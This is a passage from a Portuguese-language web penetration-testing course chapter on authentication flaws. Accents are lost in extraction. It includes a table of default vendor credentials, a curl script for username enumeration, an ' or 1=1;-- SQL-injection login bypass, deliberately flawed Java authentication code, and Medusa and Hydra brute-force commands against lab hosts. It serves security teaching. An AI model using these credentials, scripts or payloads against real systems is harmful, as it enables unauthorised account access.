e guest. As senhas, por sua vez, costumam ser vazias, iguais aos prprios identifica-
dores ou palavras comuns, como password, pass123 e senha (Meucci et al., 2008).

Alm disso, essas contas, normalmente, possuem privilgios administrativos sobre a apli-
cao, resultando em maior impacto, quando exploradas. Ainda nesse escopo, contas de
novos usurios, muitas vezes, so definidas com senhas padronizadas ou baseadas em uma
regra de formao, dependente do identificador de usurio. Isso cria uma janela de oportu-
nidade para ataques, que perdura at que o novo colaborador substitua a senha inicial.

Para concluir esta seo, a Figura 3.9 lista credenciais conhecidas para alguns sistemas web
e plataformas subjacentes encontrados comumente em sistemas de produo.

Plataforma/Sistema Verses Usurio Senha

Apache Tomcat Diversas admin admin

Apache Tomcat Diversas admin tomcat

Apache Tomcat Diversas tomcat tomcat

BEA Weblogic 5.1 system weblogic

IBM WebSphere Application Server Community Edition system manager

Microsoft SQL Server 2000, 2005 sa -

MySQL Todas root -

Oracle Database Diversas scott tiger Captulo 3 - Teste do mecanismo de autenticao

Oracle Database 7, 8i sys change_on_install

Oracle Database < 10 system manager

phpMyAdmin Todas root -

Pligg CMS god 12345


Figura 3.9
Exemplos de Red Hat JBoss 4 admin admin
conta e senha
padronizadas. SonicWALL Todas admin password

97
Enumerao de identificadores de usurios
Mesmo quando as informaes levantadas durante as fases de reconhecimento e q
mapeamento so suficientes para viabilizar acesso a regies protegidas da aplicao,
importante ter disposio um conjunto de identificadores vlidos de usurios, para se
testar outras potenciais vulnerabilidades.

Vimos, anteriormente, que algumas vezes possvel obt-los diretamente em fontes


pblicas de informao, mas quando isso no acontece, eles devem ser coletados em um
processo denominado de enumerao de usurios.

Uma vulnerabilidade na aplicao, que pode ser explorada para esse propsito, consiste q
em se exibir ao usurio mensagens de erro muito especficas, quando a autenticao
no realizada com sucesso.

Observando o exemplo da Figura 3.10, percebe-se que a aplicao indica se o motivo do


problema foi o fornecimento de um identificador inexistente ou de uma senha invlida.
No ltimo caso, logicamente, pode-se concluir que a conta informada foi reconhecida pelo
sistema, se no, a outra mensagem teria sido apresentada.

Desse modo, para enumerar usurios, basta tentar se autenticar no sistema, com uma q
srie de possveis identificadores, e observar as mensagens de erro exibidas.

Figura 3.10
Mensagens de erro
no uniformes em
caso de tentativa
malsucedida de
autenticao:
(a) Usurio existe,
mas senha informa-
da incorreta. (b)
(a) (b) Usurio no existe.

Como um mecanismo de travamento de conta por tentativas malsucedidas de autenticao


pode estar habilitado, razovel realizar o teste com uma senha plausvel, para no desper-
diar uma das chances disponveis. Estratgias eficazes incluem repetir o prprio identi-
ficador de usurio ou fornecer uma das senhas comuns, enumeradas na seo anterior
(Stuttard e Pinto, 2007).

Note que a chave para o sucesso da tcnica depende de conseguir discernir a situao em q
que a conta invlida daquela em que ela existe, mas a senha informada no a esperada.

Assim, mesmo que as mensagens de erro para os dois casos paream idnticas, deve-se
analis-las detalhadamente, em busca de diferenas sutis que possam existir (Stuttard
e Pinto, 2007; Meucci et al., 2008). Abaixo esto exemplos de caractersticas que podem
variar e no serem visualmente perceptveis:
Teste de Invaso de Aplicaes Web

1 Cdigo HTML: as mensagens de erro podem ser visualmente iguais, mas com dife-
renas no cdigo HTML. Por exemplo, cada pgina pode conter um campo escondido
de cdigo de erro, definido com valor especfico.

1 Ttulo da pgina: corpos das mensagens idnticos, mas com ttulos diferentes indi-
cando cada uma das situaes.

98
1 Tempo de resposta: a aplicao pode gastar mais tempo para exibir uma mensagem q
de erro, quando o identificador existe e a senha incorreta, porque ela precisa
ser transformada e comparada com o valor na base de usurios. Embora isso seja,
normalmente, imperceptvel para um ser humano, uma ferramenta automatizada
capaz de detectar e apontar tal variao no tempo de processamento.

1 Cabealhos da resposta: presena de cabealhos personalizados, que variam de


acordo com o erro ocorrido.

Em um teste de invaso real, fundamental recorrer automatizao, pois um grande


nmero de identificadores de usurio verificado.

O seguinte exemplo ilustra uma maneira de realizar o trabalho empregando o utilitrio curl,
que permite transferir dados por meio de diversos protocolos, inclusive o HTTP. O primeiro
passo consiste em identificar a URL do programa que processa a autenticao e os nomes dos
parmetros enviados. Essas informaes podem ser obtidas interceptando a requisio ou a
partir do cdigo-fonte do formulrio de autenticao, conforme ilustrado na Figura 3.11.

Figura 3.11 A sintaxe do utilitrio curl, para submeter o formulrio com os parmetros identificados, e a
Cdigo-fonte de sada da execuo esto abaixo ilustrados:
formulrio de
autenticao. ~$ curl -s --data userid=admin&senha=admin&Submit1=Login 8
Captulo 3 - Teste do mecanismo de autenticao
http://form-auth.esr.rnp.br/login.php

<table width=380 border=0 cellpadding=0 cellspacing=1


bgcolor=#424271><tr><td><img src=esr-70f.gif/></td></
tr></table><table width=380 border=1 cellpadding=0
cellspacing=1><tr><td align=center><b>admin, seja bem-vindo!</
b></td></tr></table><table width=380 border=1 cellpadding=0
cellspacing=1><tr><td><br/><a href=http://form-auth.esr.rnp.br/
checkbalance.php?auth=Y&uid=admin>Consultar saldo</a><br/><br/><a
href=http://form-auth.esr.rnp.br>Encerrar sess&atilde;o</
a><br/><br/></td></tr></table>

99
Pelo HTML retornado, possvel observar que as credenciais admin/admin so vlidas e que
os textos marcados em vermelho podem ser empregados para identificar uma autenticao
bem-sucedida. Considerando essa informao e tambm que a aplicao exibe as mensa-
gens de erro ilustradas na Figura 3.10, um script para enumerao de usurios est apre-
sentado na Figura 3.12. Esse script obtm a lista de identificadores a partir do arquivo texto
ids, que contm um item por linha e tenta se autenticar usando o mesmo valor para usurio
e senha. Se as credenciais so validadas, um par (id, id) exibido; se no, se a mensagem
de senha incorreta recebida, exibe-se um par (id, ?), indicando conta existente e senha
desconhecida. Nesse caso, importante lembrar que uma das tentativas permitidas foi
consumida antes do bloqueio da conta.

#!/bin/bash

for id in $(cat ids)

do

resp=$(curl -s --data userid=$id&senha=$id&Submit1=Login \

http://form-auth.esr.rnp.br/login.php)

if [ $(echo $resp | grep -c senha incorreta) -ne 0 ];

then

echo ($id, ?)

elif [ $(echo $resp | grep -c bem-vindo) -ne 0 ];

then

echo ($id ,$id)

fi Figura 3.12
Script para enume-
done rao de usurios.

Algumas aplicaes web evitam o ataque de enumerao de identificadores de usurios q


na tela de autenticao, exibindo uma mensagem uniforme de erro, quando as creden-
ciais fornecidas no so vlidas.

Apesar disso, o controle no adotado nas demais funcionalidades do sistema, como, por
exemplo, o mecanismo de recuperao de senhas. Consequentemente, o problema, que est ilus-
Teste de Invaso de Aplicaes Web

trado na Figura 3.13, pode ser explorado empregando a mesma tcnica descrita anteriormente.
Figura 3.13
Mecanismo vulner-
vel de recuperao
de senhas, que pos-
sibilita enumerao
de usurios: (a) Tela
exibida, quando
identificador existe.
(b) Mensagem de
erro informando
inexistncia de
(a) (b) identificador.

100
Aplicaes que permitem a criao da prpria conta de acesso, em sua grande maioria, q
no tratam a fraqueza em questo durante o processo de cadastro. Quando um identifi-
cador j existente fornecido, a aplicao informa o fato ao usurio, revelando, colate-
ralmente, a validade da conta, sem o risco de bloque-la. Nesse caso, entretanto, no
fcil corrigir a vulnerabilidade e, por isso, o risco tende a ser assumido.

A dificuldade de soluo reside nas opes disponveis para lidar com o problema:

1 Uma abordagem consiste em delegar a gerao de identificadores aplicao, mas, para


que o controle seja efetivo, eles precisam ser imprevisveis, dificultando a memorizao
por parte do usurio. Observe que, se esse requisito no for satisfeito, a enumerao de
usurios torna-se trivial.

1 Outra possibilidade utilizar endereos de correio eletrnico como contas de usurio,


os quais devem ser informados durante o registro (Stuttard e Pinto, 2007). Uma noti-
ficao enviada ao endereo informado, se a conta existir, ou, caso contrrio, uma
mensagem contendo um link para uma pgina temporria de finalizao do processo.
Mas o que fazer se a conta que se deseja criar for justamente a primeira conta de correio
eletrnico do usurio?

Mecanismo vulnervel de recuperao de senhas


Aplicaes web desenvolvidas para a internet, que permitem que os usurios criem suas q
prprias contas, normalmente, possuem uma funcionalidade para auxili-los em casos
de esquecimento da senha de acesso. Uma abordagem comum consiste na exibio de
um lembrete sobre a senha, cadastrado no momento da criao da conta.

O grande problema dessa soluo que os usurios, muitas vezes, definem a dica com o
valor da prpria senha, tornando a vida de um atacante extremamente fcil.

Outra maneira de implementar o requisito baseia-se no uso de perguntas secretas


pr-cadastradas, as quais precisam ser corretamente respondidas pelo suposto
usurio, antes que lhe seja concedido acesso ao mecanismo de recuperao de senha.

A Figura 3.14(a) exemplifica uma interface para recuperao de senhas, baseada em


pergunta secreta, e a Figura 3.14(b), a tela exibida quando a resposta correta fornecida.
Trs fraquezas ficam evidentes nesse exemplo: a primeira est relacionada ao conjunto
limitado de respostas para a pergunta secreta, o que permite um ataque de fora bruta,
no qual o usurio malicioso testa todas as possibilidades, uma a uma. Outra delas consiste
na exibio da senha original, o que possibilita se autenticar no sistema, sem que o
usurio legtimo perceba, salvo se a aplicao informar a data e o horrio da ltima Captulo 3 - Teste do mecanismo de autenticao
conexo, no incio de cada sesso. Por fim, a ltima vulnerabilidade consiste no armazena-
mento das senhas, de um modo que possvel recuper-las em claro. Embora esse
problema seja fundamental para a existncia da fraqueza anterior, ele no implica a
presena daquela em uma aplicao.

Figura 3.14
Mecanismo de
recuperao de
senhas: (a) Pergunta
secreta exibida. (b)
Resultado obtido
quando resposta
correta fornecida. (a) (b)

101
Alm das vulnerabilidades supracitadas, um mecanismo de recuperao de senhas pode
estar sujeito a diversos outros problemas de segurana (Stuttard e Pinto, 2007; Meucci et al.,
2008), juntamente, com os meios de explor-los.

Um mecanismo de recuperao de senhas pode estar sujeito a diversos outros pro- q


blemas de segurana:

1 Inexistncia de mecanismo de bloqueio.


1 Cadastro de perguntas secretas personalizadas.
1 Respostas disponveis em fontes pblicas.
1 Envio da senha original para uma conta pr-cadastrada de correio eletrnico.
1 Redirecionamento para uma sesso autenticada.
1 Solicitao da conta de correio eletrnico, para a qual as instrues para recuperao de
senha devem ser enviadas, aps perguntas secretas serem respondidas corretamente.

1 Recuperao de senha por equipe de suporte.


1 Falta de notificao de troca de senha.
1 Inexistncia de mecanismo de bloqueio: se a aplicao no impedir que mltiplas ten-
tativas malsucedidas e consecutivas de resposta s perguntas secretas sejam efetuadas,
a execuo de um ataque de fora bruta facilitado.

1 Cadastro de perguntas secretas personalizadas: usurios tendem a registrar per-


guntas, que so facilmente respondidas, como, por exemplo, voc gosta de futebol?
ou quantos filhos voc tem?. Note que as respostas das duas perguntas pertencem a
conjuntos de baixa cardinalidade.

1 Respostas disponveis em fontes pblicas: mesmo quando as respostas das perguntas


secretas escolhidas no so fceis de adivinhar, o mecanismo reduzido a p se o
usurio disponibiliza as informaes necessrias em redes sociais, pginas pessoais ou
qualquer outra fonte pblica. Note que essa fraqueza, na verdade, no da aplicao,
mas, sim, de natureza humana.

1 Envio da senha original para uma conta pr-cadastrada de correio eletrnico: similar
exibio da senha em tela, permite usar a aplicao, sem que o usurio legtimo saiba
do comprometimento. Porm, mais difcil de explorar, pois requer que o atacante des-
cubra a conta de e-mail do usurio e a senha correspondente.

1 Redirecionamento para uma sesso autenticada, aps perguntas secretas serem


respondidas corretamente: atacante consegue usar a conta comprometida indefinida-
mente, sem a cincia do usurio legtimo.

1 Solicitao da conta de correio eletrnico, para a qual as instrues para recupe-


rao de senha devem ser enviadas, aps perguntas secretas serem respondidas
corretamente: basta fornecer uma conta de e-mail, qual se tem acesso, para receber a
Teste de Invaso de Aplicaes Web

senha em claro ou um link para um formulrio, no qual ela pode ser redefinida. Observe
que algumas aplicaes no solicitam a conta de e-mail de destino, mas a embutem em
um campo escondido. Nesse caso, suficiente utilizar um proxy de interceptao para
alterar o valor do campo e obter o mesmo resultado.

1 Recuperao de senha por equipe de suporte: em aplicaes utilizadas internamente


em uma empresa, comum delegar equipe de suporte o trabalho de recuperao de
senhas. Embora isso no seja uma vulnerabilidade por si s, o problema surge quando a
identidade do requerente no validada, antes do fornecimento de nova senha. Se isso
acontece, um atacante pode simplesmente ligar para o suporte, informando um identifi-
cador de usurio qualquer, para conseguir acesso ao sistema.

102
1 Falta de notificao de troca de senha: uma boa prtica de segurana sempre
Incidente de segurana permitir a deteco de incidentes de segurana, se no for possvel evit-los. Assim,
Corresponde violao quando houver uma troca de senha, por meio do mecanismo de recuperao, uma men-
de polticas implcitas e
sagem de notificao deve ser enviada a uma conta pr-cadastrada de correio eletrnico,
explcitas de segurana
da informao. pertencente ao usurio legtimo. Com esse controle, mesmo que uma conta seja compro-
metida, o proprietrio ficar ciente do fato e poder agir, diminuindo o dano causado.

Funcionalidade Lembrar usurio


Algumas aplicaes web disponibilizam uma funcionalidade que permite lembrar o q
usurio, automaticamente, toda vez que forem utilizadas.

Isso implementado por meio de um cookie persistente, contendo o identificador do


usurio, que armazenado pelo navegador web e enviado toda vez que o domnio que o
definiu acessado.

Se o mecanismo ativado em um computador de uso pblico, a conta da ltima pessoa que q


usou a aplicao revelada, possibilitando o mesmo conjunto de ataques, decorrente da
enumerao de usurios. Um cenrio mais grave resulta quando a aplicao usa o cookie
para autenticar o usurio, automaticamente, sem a necessidade de fornecimento de senha.

Nesse caso, fica evidente que o roubo do cookie suficiente para uma pessoa maliciosa
acessar o sistema, de maneira no autorizada, mesmo desconhecendo, completamente,
quaisquer credenciais vlidas. A subtrao do cookie pode ser executada por meio de um
ataque cross-site scripting (Captulo 5), comprometimento da mquina do usurio ou em
trnsito, quando um canal seguro no utilizado (Captulo 9).

Uma pequena variao no ataque acima permite que um usurio legtimo escale privil- q
gios na aplicao.

Para isso, ele precisa apenas alterar o valor do atributo que indica o usurio, para o iden-
tificador de uma conta com mais privilgios. Por exemplo, se o cookie possui um par
usuario=fulano, sabendo-se da existncia da conta admin, basta realizar a modificao
usuario=admin para concluir a explorao. No caso de um teste caixa-cinza, em que
algumas contas de acesso so fornecidas para o analista de segurana, a presena dessa
vulnerabilidade permite se conectar com qualquer conta conhecida.

Transporte inseguro de credenciais de acesso


Quando existe a possibilidade de credenciais de acesso serem enviadas para o destino q Captulo 3 - Teste do mecanismo de autenticao
incorreto ou capturadas em trnsito, diz-se que so transportadas de maneira inse-
gura. A falha mais comum nesse sentido consiste no envio das informaes em claro ou
apenas codificadas, o que permite que sejam interceptadas em qualquer ponto entre a
origem e o destino.

Postar os dados de formulrios de autenticao ou as credenciais obtidas pelo mtodo


Basic, por meio do protocolo HTTP simples, , portanto, uma prtica totalmente vulnervel,
que jamais deve ser adotada. Para exemplificar, a Figura 3.15 ilustra dados de autenticao
Basic capturados, a partir da escuta da rede, que podem ser facilmente decodificados para
esruser: esruser.

comum encontrar na internet aplicaes web que enviam as informaes de autenti- q


cao, via protocolo HTTPS, mas que fornecem a pgina para captur-las, empregando
HTTP simples.

103
Se, por um lado, no factvel obter, a partir da rede, os dados de conta submetidos ao
servidor da aplicao, por outro possvel violar a integridade da pgina de autenticao
injetando cdigo malicioso para captura de teclas digitadas ou alterando os elementos da
pgina apresentada, de modo a redirecionar as informaes para outro destino. Portanto,
fundamental que a pgina, na qual o usurio digita identificador e senha, seja provida por
canal seguro.

Outra vulnerabilidade, que afeta a transmisso das credenciais, consiste na passagem q


dessas informaes como parmetros da URL.

Mesmo que um canal seguro seja empregado, o identificador e senha fornecidos pelo
usurio so mantidos no histrico de navegao e em trilhas de auditoria do servidor
web. Se este estiver mal configurado, do ponto de vista de segurana, permitindo acesso
aos arquivos do sistema, um atacante pode copiar as trilhas mencionadas e extrair delas
diversas credencias vlidas.

Finalmente, a camada SSL/TLS, provida pelo servidor web, pode estar mal configurada q Figura 3.15
e permitir o uso de verses vulnerveis desses protocolos, alm de sutes criptogrficas Dados de autenti-
cao HTTP Basic
fracas, sujeitas a ataques criptoanalticos. capturados em
trnsito.
Esses problemas so discutidos em detalhes no Captulo 9, que trata de falhas nos meca-
nismos criptogrficos.

Falhas na implementao do mecanismo


Uma das regras de ouro em desenvolvimento de software seguro determina que, em q
caso de falhas inesperadas, a aplicao deve sempre se manter em um estado seguro.
Teste de Invaso de Aplicaes Web

Por exemplo, se por um motivo qualquer, a conexo com a base de usurios finalizada,
impedindo o processo de autenticao, o acesso do reclamante deve ser negado. Infeliz-
mente, essa diretriz bsica no seguida em profuso, conduzindo a diversos tipos de
vulnerabilidades, que afetam, sobretudo, os mecanismos de controle de acesso.

Considere a aplicao ilustrada na Figura 3.16, que permite acesso s reas sensveis,
somente aos usurios devidamente autenticados e autorizados. Observe que o nome de
usurio e a senha so enviados, em dois parmetros distintos, por meio do mtodo POST,
quando o boto Login clicado.

104
Figura 3.16
Tela de autenticao
e formato
da requisio. Se a aplicao no tratar erros inesperados adequadamente, conforme discutido, um q
usurio malicioso pode se autenticar, mesmo sem conhecimento da senha correspon-
dente. Um teste que deve ser executado, ento, resume-se na remoo de um ou mais
parmetros esperados pela aplicao, antes do envio da requisio, para induzir a ocor-
rncia de um erro.

Isso pode ser realizado com auxlio de um proxy de interceptao, conforme ilustrado na Figura
3.17. Note que, de fato, o sistema apresenta a vulnerabilidade descrita e pode ser explorado.

Figura 3.17 Testes adicionais que devem ser realizados, com o mesmo objetivo acima exemplificado, q
Requisio efetuada incluem:
sem o parmetro
Password. 1 Submisso de identificadores de usurio e de senhas maiores que o tamanho
mximo permitido pela aplicao.

1 Incluso de parmetros invlidos na requisio.


1 Envio de identificadores de usurio e de senha contendo caracteres no permitidos.
1 Submisso de valores vazios. Captulo 3 - Teste do mecanismo de autenticao

Vejamos agora outro tipo de problema, que afeta, comumente, aplicaes que armazenam
a base de usurios em um banco de dados relacional. A rotina que efetua a autenticao,
nesses casos, realiza uma consulta SQL ao banco, em busca de um registro que contenha o
identificador de usurio e senha fornecidos. Se nenhuma tupla for encontrada, o reclamante
no validado e o acesso ao sistema negado. O cdigo que realiza essa verificao, fre-
quentemente, se assemelha ao apresentado na Figura 3.18, o qual, se percebe, vulnervel
injeo de SQL (Captulo 6).

105
sComando = select count(*) into :nCount

from usuarios

where id = + sIdentificador + and

senha = + sSenha + ;

SqlExecute(hSql, sComando);
Figura 3.18
if (nCount > 0) print(Usurio autenticado); Exemplo de trecho
de cdigo emprega-
do para autentica-
o de usurios,
que vulnervel
injeo de SQL.

Nesse cenrio, o mecanismo de autenticao pode ser quebrado com os seguintes passos:

1. Usurio malicioso digita o caractere no campo de identificador e descobre que a apli-


cao vulnervel injeo de SQL.

2. O atacante fornece o valor or 1=1;-- para o campo usurio e um valor qualquer para
a senha. A sequncia ;-- serve para comentar o restante da linha e evitar um erro de
sintaxe decorrente do texto que sobra.

3. A aplicao executa a consulta SQL:

select count(*) into :nCount

from usuarios

where id = or 1=1;-- and

senha = qualquervalor;

4. Como a expresso 1=1 uma tautologia, o where avaliado como verdadeiro para
todas as tuplas da tabela e a quantidade delas ser armazenada na varivel nCount.
Devido construo do if, que verifica se qualquer registro foi encontrado, a aplicao
autentica o usurio, mesmo sem ele saber a senha correta.

Encerramos o presente tpico com a anlise da rotina de autenticao ilustrada na Figura 3.19,
que est repleta de vulnerabilidades descobertas, no passado, em sistemas reais. Um pro-
blema que ainda no foi discutido neste texto est no lao das linhas 8-10, responsvel por
comparar a senha armazenada com a fornecida. Observe que o lao executado enquanto
no forem encontrados caracteres divergentes e o ndice for menor que o tamanho da
senha informada. Esse ltimo exatamente o ponto problemtico, pois permite que um
usurio se autentique, com uma senha de apenas um caractere, desde que corresponda ao
Teste de Invaso de Aplicaes Web

primeiro da senha armazenada. fcil perceber que um ataque de fora bruta, nesse caso,
seria trivialmente executado.

106
01 public static boolean auth(String id, String pwd) {

02 String senhaArmazenada = getPwd(id);

03 boolean bAuth = senhaArmazenada != null;

04

05 try {

06 if (senhaArmazenada != null) {

07 pwd = pwd.toUpperCase();

08 for (int i = 0; i < pwd.length() && bAuth; i++) {

09 bAuth = pwd.charAt(i) == senhaArmazenada.charAt(i);

10 }

11 }

12 } catch (Exception e) {

13 }

14
Figura 3.19
Rotina de autenti- 15 return bAuth;
cao com diversas
vulnerabilidades. 16 }

As demais vulnerabilidades do cdigo pertencem, em sua grande maioria, a classes j


discutidas anteriormente:

1 Considerando que o parmetro pwd corresponde senha digitada pelo usurio, as


senhas devem estar armazenadas em claro ou por mecanismo reversvel para que a com-
parao da linha 09 seja possvel.

1 Se um identificador vlido e uma senha nula so passados como argumentos para a


funo, a autenticao bem-sucedida, porque a linha 07 gera uma exceo, que evita a
comparao das senhas e faz com que o valor corrente de bAuth, iniciada com true, seja
devolvido.

1 A rotina retorna true, caso sejam fornecidas uma conta vlida e a senha correta adicio-
nada de um sufixo qualquer. A razo disso que senhaArmazenada.charAt(i), na linha 09,
Captulo 3 - Teste do mecanismo de autenticao

gera uma exceo, quando o primeiro caractere do sufixo comparado, fazendo com que
o valor corrente da varivel bAuth seja devolvido.

1 A linha 07 indica que no so diferenciadas letras maisculas de minsculas, o que


implica uma grande reduo no nmero de senhas possveis, favorecendo um ataque de
fora bruta.

Mecanismo vulnervel de troca de senhas


Diversos padres de segurana, como o PCI DSS demandam que senhas de usurios q
sejam trocadas periodicamente.

107
As justificativas para a adoo dessa prtica resumem-se em diminuir a janela de exposio
de uma conta comprometida e dificultar ataques contra arquivos de senhas, pois, na ocasio
em que uma delas seja encontrada, no ter mais utilidade nenhuma, por j ter sido alte-
rada (Stuttard e Pinto, 2007).

Visando satisfazer o supracitado requisito, muitas aplicaes incluem uma funciona- q


lidade para troca de senhas, mas nem todas a implementam de maneira segura. Um
problema muito comum deixar de pedir a senha atual nesse processo, porque a tela
para efetuar essa operao s acessvel a usurios autenticados.

Para ilustrar como isso pode ser atacado, consideremos um cenrio em que a nova senha
solicitada duas vezes, o identificador do usurio atual mantido em um campo escondido
e o formulrio submetido por POST. Nesse contexto, possvel alterar a senha de outro
usurio da seguinte maneira:

1. Um usurio malicioso habilita um proxy local, para interceptar todas as requisies feitas
para a aplicao.

2. Ele se autentica na aplicao e, em seguida, acessa a pgina para troca de senhas,


residente na rea protegida.

3. O atacante digita duas vezes a nova senha, nos campos correspondentes, e envia a requi-
sio, que interceptada pelo proxy. De modo a completar o ataque, ele altera o valor
do campo escondido, para o identificador da vtima, cuja senha , ento, trocada pela
escolhida.

4. A partir disso, a conta comprometida fica disponvel para acesso no autorizado, at que o
usurio legtimo defina nova senha, quando, ento, o ataque pode ser novamente executado.

Autenticao com mltiplos fatores


Conforme vimos, sistemas que manipulam informaes crticas so fortes candidatos a q
empregar mltiplos fatores de autenticao, porque requerem um alto nvel de segurana.

Um claro exemplo disso so as aplicaes de internet banking, com as quais grandes somas
de dinheiro so transferidas diariamente, entre diversas contas e entidades. Por mais
simples que seja o tipo de conta, necessrio, pelo menos, saber uma senha, diferente da
utilizada nos caixas fsicos, e possuir algum tipo de token, normalmente, na forma de uma
cartela de valores. Para clientes que esto sujeitos a maior risco, como as pessoas jurdicas,
por exemplo, so empregados, muitas vezes, at trs fatores de autenticao.

Uma sesso em uma aplicao desse tipo comea, tipicamente, com a autenticao do q
usurio por meio da senha, o que permite acesso a diversas funcionalidades bsicas.
Quando uma operao envolvendo valores financeiros solicitada, o usurio precisa
Teste de Invaso de Aplicaes Web

fornecer novamente a senha e utilizar o segundo fator, para comprovar sua identidade.
Uma implementao segura desse cenrio requer que as informaes de autenticao
j validadas sejam mantidas exclusivamente no servidor e que etapas do processo no
possam ser ignoradas.

A falta de observao desses importantes preceitos o que conduz a vulnerabilidades em


tais solues, conforme ilustrado nos cenrios abaixo (Stuttard e Pinto, 2007):

108
1 Informaes sobre as diversas etapas da autenticao so mantidas em parmetros
enviados ao lado cliente, como tokenValidado=N, por exemplo. Um teste imediato que
deve ser efetuado trocar o valor para S ou Y, efetuar uma requisio aplicao e ver
como o sistema se comporta. Em situaes assim, h grande chance de o processo de
autenticao ser evadido, obtendo-se com isso acesso no autorizado ao sistema.

1 Uma aplicao, que usa cartelas de senha como segundo fator de autenticao, mantm,
em um campo escondido, o identificador do usurio corrente, uma vez que este j tenha
se autenticado por senha. Nas requisies subsequentes, o sistema extrai o nome da
conta a partir desse campo, em vez de obt-lo a partir do objeto de sesso salvo no ser-
vidor. Um teste que pode ser realizado consiste em interceptar uma requisio de auten-
ticao via segundo fator e alterar o par (identificador, valor da cartela) com os dados
de outro usurio. Se a operao for realizada com sucesso, significa que a aplicao no
amarra as diversas etapas da autenticao corretamente.

1 A rotina que trata uma determinada operao assume que, se foi chamada, todos os
fatores de autenticao j foram validados. O problema nesse caso que a premissa
adotada pode ser falsa e o correto, ento, consiste em verificar se todas as etapas foram
completadas com sucesso, antes de atender a solicitao. Para testar a presena dessa
vulnerabilidade, todos os passos da operao devem ser executados com uma conta vlida,
para que as diversas requisies aplicao sejam mapeadas. Em seguida, deve-se tentar
repetir as requisies identificadas, mas desconsiderando aquelas referentes ao processo
de autenticao. Se nenhum erro ocorrer, a aplicao se encontra vulnervel.

Ataque de fora bruta


Um ataque de fora bruta consiste em tentar se autenticar com todas as senhas pos- q
sveis, at que o processo seja bem-sucedido. A tarefa pode se estender por um longo
perodo de tempo, dependendo do tamanho mnimo de senha adotado e do total de
possibilidades por posio. Devido ao trfego que gera, a tcnica extremamente
ruidosa e, por isso, facilmente percebida por dispositivos de deteco de intruso.

Se um controle de bloqueio de contas, por mltiplas tentativas invlidas de autenticao,


estiver implementado, as contas da aplicao sero rapidamente travadas.

Por todas essas desvantagens, um ataque desse tipo deve ser utilizado somente como
ltimo recurso de um teste de invaso caixa-preta, quando nenhuma outra vulnerabili-
dade pde ser encontrada.

Um software antigo, mas que permite realizar esse tipo de teste, o Brutus, o qual pode ser
configurado de diversas maneiras diferentes, contra diversos tipos de protocolos. A Figura 3.20
Captulo 3 - Teste do mecanismo de autenticao

ilustra um exemplo de uso bem-sucedido dessa ferramenta, que possibilitou encontrar a


senha juk para a conta esr.

109
Ataque de dicionrio
q
Figura 3.20
Como vimos, um ataque de fora bruta apresenta diversos problemas, podendo Ataque de fora
bruta contra Auten-
demorar muito tempo para atingir um resultado positivo se o espao de senhas for ticao Basic.
demasiado grande. A falha na abordagem que todas as senhas so consideradas poss-
veis candidatas, embora usurios raramente escolham sequncias sem sentido.

Em vez disso, para facilitar a memorizao, a grande maioria das pessoas utiliza palavras
do idioma, nomes de familiares, datas, nmeros de documento e pequenas variaes. Por
exemplo, n0rm@2011 pode ser usado no lugar de norma2011.

Tendo esse fato em mente, uma abordagem mais inteligente resulta no ataque de dicionrio, q
que seleciona as senhas para teste a partir de uma lista de palavras comuns e variaes.

Com essa estratgia, senhas improvveis para a maioria dos usurios so descartadas,
economizando com isso uma boa parcela de tempo. Observe, no entanto, que, apesar do
universo reduzido de senhas a serem testadas, as questes de bloqueio de conta e deteco
por dispositivos de segurana continuam presentes.

q
Teste de Invaso de Aplicaes Web

Alguns exemplos de utilitrios, que podem ser empregados para realizar ataque de Cygwin
dicionrio contra aplicaes web, incluem: Arcabouo que permite
compilar aplicaes
1 Brutus: um software livre, fornecido nativamente apenas para plataformas desenvolvidas para
Windows, mas que pode ser executado tambm em Linux, via Wine. Permite testar Linux, em ambientes
autenticao HTTP Basic e a baseada em formulrios, alm de outros servios. Windows, por meio de
uma camada, na forma
1 THC Hydra: distribudo sob licena GPLv3, funciona em todas as plataformas Unix/ de uma biblioteca
Linux, Mac OS/X, Windows com Cygwin e PalmOS. Suporta HTTP Basic, HTTP Digest, dinmica que prov
grande parte da
autenticao baseada em formulrios e verses protegidas por SSL/TLS, alm de in-
funcionalidade da
meros outros servios. Alm disso, prov uma interface grfica chamada de xHydra. API Linux.

110
1 Medusa: fornecido sob licena GPLv2, com suporte a todas as plataformas Unix/Linux, q
Mac OS/X e Windows com Cygwin. Suporta HTTP Basic, HTTP Digest, autenticao baseada
em formulrios e verses protegidas por SSL/TLS, alm de inmeros outros servios.

Vejamos agora como funcionam essas ferramentas. A Figura 3.21 ilustra o resultado de um
ataque bem-sucedido do Brutus contra autenticao HTTP Basic, o qual revelou um usurio
esruser com senha idntica. Comparando com a configurao da Figura 3.20, utilizada para
fora bruta, percebe-se que as diferenas residem no modo Word List e no fornecimento de
arquivos contendo listas de palavras para identificador de usurio e para senha.

Figura 3.21 Para executar o mesmo teste acima com o utilitrio Medusa, deve-se digitar o seguinte comando:
Ataque de dicion-
rio contra Autenti- ~$ medusa -h exemplo.esr.rnp.br -U ids -P ids -e ns -M http 8
cao Basic. Captulo 3 - Teste do mecanismo de autenticao
-m DIR:basic/ -v 4

Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks


<jmk@foofus.net>

ACCOUNT FOUND: [http] Host: exemplo.esr.rnp.br User: esruser


Password: esruser [SUCCESS]

As opes do programa utilizadas no cenrio so:

1 -h indica o nome de domnio do alvo.


1 -U arquivo contendo lista de identificadores de usurio, um por linha.
1 -P arquivo contendo dicionrio de senhas, um item por linha.

111
1 -e n serve para testar senha nula e s, senha idntica ao identificador.
1 -M indica o mdulo a ser carregado para o teste.
1 -m parmetros passados para o mdulo.
1 -v controla a quantidade de informaes exibidas ao usurio.
O prximo exemplo ilustra um teste de dicionrio, efetuado pela ferramenta Hydra, contra
o mecanismo de autenticao HTTP Digest, que revelou, com sucesso, a conta esruser com
senha esruser. Note-se que a sintaxe apresenta certa semelhana com a da Medusa, o que
esperado, considerando que os dois programas possuem o mesmo propsito. As opes
-L e -P indicam, respectivamente, os nomes dos arquivos contendo os dicionrios de
identificadores de usurio e de senhas; -e ns testa com senha nula e igual ao identificador;
http-head define o protocolo e o mtodo; por fim, o ltimo parmetro varia de acordo com
o servio e , no caso de http-head, especifica a pgina que requer autenticao.

~$ hydra -L ids -P pwds -e ns exemplo.esr.rnp.br http-head /digest/

Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use
allowed only for legal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-28 23:26:19

[DATA] 16 tasks, 1 servers, 48 login tries (l:6/p:8), ~3 tries per


task

[DATA] attacking service http-head on port 80

